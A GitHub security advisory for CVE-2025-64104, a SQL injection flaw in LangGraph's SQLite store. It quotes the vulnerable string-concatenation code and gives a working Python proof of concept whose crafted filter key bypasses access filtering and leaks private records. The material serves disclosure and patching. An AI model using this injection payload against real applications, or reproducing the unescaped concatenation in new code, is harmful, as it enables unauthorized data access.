GitHub Advisoryadvisory · PyPI
GHSA-7p73-8jqx-23r8 LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore
HIGH
Official page ↗
- Aliases
- CVE-2025-64104
- Ecosystem
- PyPI
- Packages
- langgraph-checkpoint-sqlite
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
- Weaknesses
- CWE-89
- Reviewed
- 2025-10-29
Affected packages
• PyPI langgraph-checkpoint-sqlite: < 2.0.11 → fixed in 2.0.11
Description
Summary
LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.
Details
`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`
The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.
```python
filter_conditions.append(
"json_extract(value, '$."
+ key # <-- Directly concatenated, no escaping!
+ "') = '"
+ value.replace("'", "''") # <-- Only value is escaped
+ "'"
)
```
Who is affected
This issue affects only developers or projects that directly use the `checkpoint-sqlite` store.
An application is vulnerable only if it:
1. Instantiates the `SqliteStore` from the `checkpoint-sqlite` package, and
2. Builds the `filter` argument using keys derived from untrusted or user-supplied input (such as query parameters, request bodies, or other external data).
If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.
Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.
PoC
_Complete instructions, including specific configuration details, to reproduce the vulnerability._
```python
!/usr/bin/env python3
"""Minimal SQLite Key Injection POC for LangGraph"""
from langgraph.store.sqlite import SqliteStore
Create store with test data
with SqliteStore.from_conn_string(":memory:") as store:
store.setup()
# Add public and private documents
store.put(("docs",), "public", {"access": "public", "data": "public info"})
store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"})
# Normal query - returns 1 public document
normal = store.search(("docs",), filter={"access": "public"})
print(f"Normal query: {len(normal)} docs")
# SQL injection via malicious key
malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$."
injected = store.search(("docs",), filter={malicious_key: "dummy"})
print(f"Injected query: {len(injected)} docs")
for doc in injected:
if doc.value.get("access") == "private":
print(f"LEAKED: {doc.value}")
```
Related
Alias · CVE (1)
- CVE-2025-64104 LangGraph SQLite Checkpoint is an implementation of LangGraph CheckpointSaver that uses SQLite DB (both sync and async, via aiosqlite). vulnerability
Weakness · CWE (1)
- CWE-89 Improper Neutralization of Special Elements used in an SQL Command weakness
References
- https://github.com/langchain-ai/langgraph/security/advisories/GHSA-7p73-8jqx-23r8 web
- https://nvd.nist.gov/vuln/detail/CVE-2025-64104 advisory
- https://github.com/langchain-ai/langgraph/commit/bc9d45b476101e441cb1cc602dea03eb29232de4 web
- https://github.com/langchain-ai/langgraph package
- https://github.com/pypa/advisory-database/tree/main/vulns/langgraph-checkpoint-sqlite/PYSEC-2026-1529.yaml web